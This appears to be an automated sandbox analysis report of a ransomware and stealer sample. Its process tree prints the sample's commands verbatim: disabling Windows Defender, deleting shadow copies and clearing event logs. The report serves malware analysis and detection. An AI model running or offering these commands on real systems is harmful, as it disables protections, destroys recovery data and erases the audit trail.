ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/08/2026, 15:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
Size 1.5MB
Sample260803-s567lsbf73
SHA256 ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705
MD5 1cc9b59964c70bcd40515c2ea4472d07
SHA1 f1f7d32c8538a5642d607633df94bcdc483dd5ee
SHA512 47af4e3d9564f1ae412b19d76db40096ea545db20d1cb6ddea6a5c639557a0b23bbb6e4c691d0f0a44189e17f47e68fc1ceb3fafa1283793767810a22fc9d941
SSDEEP 24576:goD4x3upiG+uD8wjTc6QZwFvzI8H6MvGmEfTQuFfTeUCI:goDsWihuDhTc6QZwFUG67mErQcq
TLSH
T13E757B43E69585EAC45EC0788357A632FA33B88E4630B6EF2BD45B313E66B905F0D705
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery evasion execution impact ransomware spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe

Clears Windows event logs 1 TTPs 64 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
280	wevtutil.exe
2876	wevtutil.exe
3328	wevtutil.exe
2720	wevtutil.exe
4232	wevtutil.exe
4656	wevtutil.exe
3640	wevtutil.exe
2704	wevtutil.exe
4364	wevtutil.exe
2288	wevtutil.exe
808	wevtutil.exe
856	wevtutil.exe
3420	wevtutil.exe
1732	wevtutil.exe
4500	wevtutil.exe
3916	wevtutil.exe
440	wevtutil.exe
3932	wevtutil.exe
2168	wevtutil.exe
3388	wevtutil.exe
3484	wevtutil.exe
3324	wevtutil.exe
4028	wevtutil.exe
4584	wevtutil.exe
1040	wevtutil.exe
4692	wevtutil.exe
1808	wevtutil.exe
4196	wevtutil.exe
1304	wevtutil.exe
4732	wevtutil.exe
1544	wevtutil.exe
5076	wevtutil.exe
4548	wevtutil.exe
4208	wevtutil.exe
2652	wevtutil.exe
3108	wevtutil.exe
1328	wevtutil.exe
296	wevtutil.exe
2244	wevtutil.exe
1316	wevtutil.exe
3700	wevtutil.exe
4484	wevtutil.exe
3736	wevtutil.exe
4324	wevtutil.exe
3236	wevtutil.exe
4344	wevtutil.exe
4920	wevtutil.exe
3036	wevtutil.exe
4400	wevtutil.exe
2372	wevtutil.exe
3760	wevtutil.exe
2108	wevtutil.exe
4200	wevtutil.exe
3696	wevtutil.exe
1940	wevtutil.exe
4256	wevtutil.exe
4780	wevtutil.exe
4816	wevtutil.exe
4832	wevtutil.exe
3068	wevtutil.exe
4728	wevtutil.exe
3488	wevtutil.exe
4216	wevtutil.exe
4448	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1392	powershell.exe
4196	powershell.exe
3872	powershell.exe

Detect suspicious telegram bot 3 IoCs

Detect suspicious telegram bot.

resource	yara_rule
behavioral1/memory/3768-32-0x00007FF768BE0000-0x00007FF768D6B000-memory.dmp	suspicious_telegram_bot
behavioral1/memory/3768-36-0x00007FF768BE0000-0x00007FF768D6B000-memory.dmp	suspicious_telegram_bot
behavioral1/memory/3768-54-0x00007FF768BE0000-0x00007FF768D6B000-memory.dmp	suspicious_telegram_bot

Launches sc.exe 18 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1736	sc.exe
3804	sc.exe
4084	sc.exe
1420	sc.exe
4500	sc.exe
1036	sc.exe
3016	sc.exe
3172	sc.exe
1224	sc.exe
2404	sc.exe
440	sc.exe
3248	sc.exe
3068	sc.exe
4200	sc.exe
2404	sc.exe
1120	sc.exe
4020	sc.exe
1816	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 43 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4196	cmd.exe
3872	cmd.exe
464	cmd.exe
4156	cmd.exe
4584	cmd.exe
296	cmd.exe
2016	cmd.exe
3416	cmd.exe
4952	cmd.exe
4972	cmd.exe
3644	cmd.exe
3564	cmd.exe
5040	cmd.exe
468	cmd.exe
1772	cmd.exe
3900	cmd.exe
3776	cmd.exe
4780	cmd.exe
3328	cmd.exe
280	cmd.exe
4112	cmd.exe
4872	cmd.exe
4164	cmd.exe
4692	cmd.exe
160	cmd.exe
4076	cmd.exe
548	cmd.exe
4076	cmd.exe
5040	cmd.exe
4256	cmd.exe
2556	cmd.exe
4072	cmd.exe
3484	cmd.exe
3936	cmd.exe
4576	cmd.exe
4804	cmd.exe
4144	cmd.exe
4076	cmd.exe
3764	cmd.exe
4820	cmd.exe
2440	cmd.exe
4456	cmd.exe
2096	cmd.exe

Delays execution with timeout.exe 8 IoCs

defense_evasion

pid	Process
1344	timeout.exe
4056	timeout.exe
2664	timeout.exe
2296	timeout.exe
372	timeout.exe
2352	timeout.exe
936	timeout.exe
2168	timeout.exe

Interacts with shadow copies 3 TTPs 10 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4400	vssadmin.exe
2444	vssadmin.exe
5024	vssadmin.exe
3156	vssadmin.exe
2700	vssadmin.exe
2780	vssadmin.exe
3108	vssadmin.exe
1512	vssadmin.exe
284	vssadmin.exe
1192	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4196	powershell.exe
4196	powershell.exe
3872	powershell.exe
3872	powershell.exe
3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
1392	powershell.exe
1392	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4196	powershell.exe
Token: SeDebugPrivilege	3872	powershell.exe
Token: SeBackupPrivilege	4064	vssvc.exe
Token: SeRestorePrivilege	4064	vssvc.exe
Token: SeAuditPrivilege	4064	vssvc.exe
Token: SeIncreaseQuotaPrivilege	4912	WMIC.exe
Token: SeSecurityPrivilege	4912	WMIC.exe
Token: SeTakeOwnershipPrivilege	4912	WMIC.exe
Token: SeLoadDriverPrivilege	4912	WMIC.exe
Token: SeSystemProfilePrivilege	4912	WMIC.exe
Token: SeSystemtimePrivilege	4912	WMIC.exe
Token: SeProfSingleProcessPrivilege	4912	WMIC.exe
Token: SeIncBasePriorityPrivilege	4912	WMIC.exe
Token: SeCreatePagefilePrivilege	4912	WMIC.exe
Token: SeBackupPrivilege	4912	WMIC.exe
Token: SeRestorePrivilege	4912	WMIC.exe
Token: SeShutdownPrivilege	4912	WMIC.exe
Token: SeDebugPrivilege	4912	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4912	WMIC.exe
Token: SeRemoteShutdownPrivilege	4912	WMIC.exe
Token: SeUndockPrivilege	4912	WMIC.exe
Token: SeManageVolumePrivilege	4912	WMIC.exe
Token: 33	4912	WMIC.exe
Token: 34	4912	WMIC.exe
Token: 35	4912	WMIC.exe
Token: 36	4912	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4912	WMIC.exe
Token: SeSecurityPrivilege	4912	WMIC.exe
Token: SeTakeOwnershipPrivilege	4912	WMIC.exe
Token: SeLoadDriverPrivilege	4912	WMIC.exe
Token: SeSystemProfilePrivilege	4912	WMIC.exe
Token: SeSystemtimePrivilege	4912	WMIC.exe
Token: SeProfSingleProcessPrivilege	4912	WMIC.exe
Token: SeIncBasePriorityPrivilege	4912	WMIC.exe
Token: SeCreatePagefilePrivilege	4912	WMIC.exe
Token: SeBackupPrivilege	4912	WMIC.exe
Token: SeRestorePrivilege	4912	WMIC.exe
Token: SeShutdownPrivilege	4912	WMIC.exe
Token: SeDebugPrivilege	4912	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4912	WMIC.exe
Token: SeRemoteShutdownPrivilege	4912	WMIC.exe
Token: SeUndockPrivilege	4912	WMIC.exe
Token: SeManageVolumePrivilege	4912	WMIC.exe
Token: 33	4912	WMIC.exe
Token: 34	4912	WMIC.exe
Token: 35	4912	WMIC.exe
Token: 36	4912	WMIC.exe
Token: SeDebugPrivilege	1392	powershell.exe
Token: SeSecurityPrivilege	432	wevtutil.exe
Token: SeBackupPrivilege	432	wevtutil.exe
Token: SeSecurityPrivilege	2244	wevtutil.exe
Token: SeBackupPrivilege	2244	wevtutil.exe
Token: SeSecurityPrivilege	3932	wevtutil.exe
Token: SeBackupPrivilege	3932	wevtutil.exe
Token: SeSecurityPrivilege	2288	wevtutil.exe
Token: SeBackupPrivilege	2288	wevtutil.exe
Token: SeSecurityPrivilege	1732	wevtutil.exe
Token: SeBackupPrivilege	1732	wevtutil.exe
Token: SeSecurityPrivilege	4580	wevtutil.exe
Token: SeBackupPrivilege	4580	wevtutil.exe
Token: SeSecurityPrivilege	2168	wevtutil.exe
Token: SeBackupPrivilege	2168	wevtutil.exe
Token: SeSecurityPrivilege	4324	wevtutil.exe
Token: SeBackupPrivilege	4324	wevtutil.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3768 wrote to memory of 2404	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	85
PID 3768 wrote to memory of 1816	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	86
PID 3768 wrote to memory of 4500	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	87
PID 3768 wrote to memory of 440	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	88
PID 3768 wrote to memory of 3248	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	89
PID 3768 wrote to memory of 1420	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	90
PID 3768 wrote to memory of 1036	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	91
PID 3768 wrote to memory of 1736	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	92
PID 3768 wrote to memory of 4196	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	93
PID 3768 wrote to memory of 3872	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	94
PID 3768 wrote to memory of 2700	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	95
PID 3768 wrote to memory of 2096	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	98
PID 2096 wrote to memory of 2444	2096	cmd.exe	99
PID 3768 wrote to memory of 4456	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	100
PID 4456 wrote to memory of 4912	4456	cmd.exe	101
PID 3768 wrote to memory of 1392	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	103
PID 3768 wrote to memory of 3016	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	104
PID 3768 wrote to memory of 3172	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	105
PID 3768 wrote to memory of 4076	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	106
PID 3768 wrote to memory of 432	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	115
PID 3768 wrote to memory of 3932	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	116
PID 3768 wrote to memory of 2244	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	117
PID 3768 wrote to memory of 2288	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	118
PID 3768 wrote to memory of 2168	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	119
PID 3768 wrote to memory of 4580	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	120
PID 3768 wrote to memory of 1732	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	121
PID 3768 wrote to memory of 4324	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	122
PID 3768 wrote to memory of 4792	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	123
PID 3768 wrote to memory of 3236	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	124
PID 3768 wrote to memory of 3760	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	125
PID 3768 wrote to memory of 4656	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	126
PID 3768 wrote to memory of 5076	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	127
PID 3768 wrote to memory of 1104	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	128
PID 3768 wrote to memory of 1040	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	129
PID 3768 wrote to memory of 3640	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	130
PID 3768 wrote to memory of 3696	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	131
PID 3768 wrote to memory of 4548	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	132
PID 3768 wrote to memory of 3324	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	229
PID 3768 wrote to memory of 3068	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	231
PID 3768 wrote to memory of 4832	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	135
PID 3768 wrote to memory of 2108	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	136
PID 3768 wrote to memory of 4344	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	137
PID 3768 wrote to memory of 4200	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	235
PID 3768 wrote to memory of 4208	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	236
PID 3768 wrote to memory of 4256	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	240
PID 3768 wrote to memory of 4920	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	141
PID 3768 wrote to memory of 4348	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	142
PID 3768 wrote to memory of 1940	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	143
PID 3768 wrote to memory of 2704	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	144
PID 3768 wrote to memory of 4500	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	145
PID 3768 wrote to memory of 440	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	146
PID 3768 wrote to memory of 4692	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	244
PID 3768 wrote to memory of 1808	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	148
PID 3768 wrote to memory of 3916	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	149
PID 3768 wrote to memory of 3036	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	150
PID 3768 wrote to memory of 2652	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	151
PID 3768 wrote to memory of 4780	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	252
PID 3768 wrote to memory of 3388	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	153
PID 3768 wrote to memory of 808	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	154
PID 3768 wrote to memory of 4816	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	155
PID 3768 wrote to memory of 4728	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	156
PID 3768 wrote to memory of 1304	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	157
PID 3768 wrote to memory of 4196	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	257
PID 3768 wrote to memory of 3328	3768	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	254

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
"C:\Users\Admin\AppData\Local\Temp\ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3768
- C:\Windows\system32\sc.exe
  "sc" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:2404
- C:\Windows\system32\sc.exe
  "sc" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1816
- C:\Windows\system32\sc.exe
  "sc" stop WdNisSvc
  2⤵
  - Launches sc.exe
  PID:4500
- C:\Windows\system32\sc.exe
  "sc" config WdNisSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:440
- C:\Windows\system32\sc.exe
  "sc" stop Sense
  2⤵
  - Launches sc.exe
  PID:3248
- C:\Windows\system32\sc.exe
  "sc" config Sense start= disabled
  2⤵
  - Launches sc.exe
  PID:1420
- C:\Windows\system32\sc.exe
  "sc" stop WdBoot
  2⤵
  - Launches sc.exe
  PID:1036
- C:\Windows\system32\sc.exe
  "sc" config WdBoot start= disabled
  2⤵
  - Launches sc.exe
  PID:1736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionExtension \".exe\", \".dll\", \".scr\", \".pif\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3872
- C:\Windows\system32\vssadmin.exe
  "vssadmin" list shadows
  2⤵
  - Interacts with shadow copies
  PID:2700
- C:\Windows\system32\cmd.exe
  "cmd" /C "vssadmin delete shadows /shadow={f6ea0deb-69c7-4827-954d-7d54632de9f5}"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2096
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /shadow={f6ea0deb-69c7-4827-954d-7d54632de9f5}
    3⤵
    - Interacts with shadow copies
    PID:2444
- C:\Windows\system32\cmd.exe
  "cmd" /C "wmic shadowcopy delete"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4456
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -ExecutionPolicy Bypass -Command " Get-WmiObject -Class Win32_ShadowCopy | ForEach-Object { $_.Delete() } "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1392
- C:\Windows\system32\sc.exe
  "sc" stop VSS
  2⤵
  - Launches sc.exe
  PID:3016
- C:\Windows\system32\sc.exe
  "sc" config VSS start= disabled
  2⤵
  - Launches sc.exe
  PID:3172
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\System Volume Information\*.* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:4076
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Application
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:432
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Application
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:3932
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Application
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:2244
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Application
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:2288
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Application/Operational
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:2168
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Application/Operational
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4580
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Application
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:1732
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Application/Operational
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:4324
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Application/Operational
  2⤵
  PID:4792
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Application
  2⤵
  - Clears Windows event logs
  PID:3236
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Application
  2⤵
  - Clears Windows event logs
  PID:3760
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Application/Operational
  2⤵
  - Clears Windows event logs
  PID:4656
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl System
  2⤵
  - Clears Windows event logs
  PID:5076
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl System
  2⤵
  PID:1104
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Application
  2⤵
  - Clears Windows event logs
  PID:1040
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl System
  2⤵
  - Clears Windows event logs
  PID:3640
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-System/Operational
  2⤵
  - Clears Windows event logs
  PID:3696
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl System
  2⤵
  - Clears Windows event logs
  PID:4548
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Application/Operational
  2⤵
  - Clears Windows event logs
  PID:3324
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Application/Operational
  2⤵
  - Clears Windows event logs
  PID:3068
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl System
  2⤵
  - Clears Windows event logs
  PID:4832
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-System/Operational
  2⤵
  - Clears Windows event logs
  PID:2108
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Application/Operational
  2⤵
  - Clears Windows event logs
  PID:4344
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-System/Operational
  2⤵
  - Clears Windows event logs
  PID:4200
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Security
  2⤵
  - Clears Windows event logs
  PID:4208
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl System
  2⤵
  - Clears Windows event logs
  PID:4256
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl System
  2⤵
  - Clears Windows event logs
  PID:4920
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-System/Operational
  2⤵
  PID:4348
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-System/Operational
  2⤵
  - Clears Windows event logs
  PID:1940
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl System
  2⤵
  - Clears Windows event logs
  PID:2704
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Security
  2⤵
  - Clears Windows event logs
  PID:4500
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Security/Operational
  2⤵
  - Clears Windows event logs
  PID:440
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Security
  2⤵
  - Clears Windows event logs
  PID:4692
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Security
  2⤵
  - Clears Windows event logs
  PID:1808
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Security
  2⤵
  - Clears Windows event logs
  PID:3916
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-System/Operational
  2⤵
  - Clears Windows event logs
  PID:3036
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-System/Operational
  2⤵
  - Clears Windows event logs
  PID:2652
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-System/Operational
  2⤵
  - Clears Windows event logs
  PID:4780
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Windows PowerShell"
  2⤵
  - Clears Windows event logs
  PID:3388
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Security/Operational
  2⤵
  - Clears Windows event logs
  PID:808
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Security/Operational
  2⤵
  - Clears Windows event logs
  PID:4816
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Security/Operational
  2⤵
  - Clears Windows event logs
  PID:4728
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Security
  2⤵
  - Clears Windows event logs
  PID:1304
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Security
  2⤵
  - Clears Windows event logs
  PID:4196
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Security/Operational
  2⤵
  - Clears Windows event logs
  PID:3328
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Windows PowerShell"
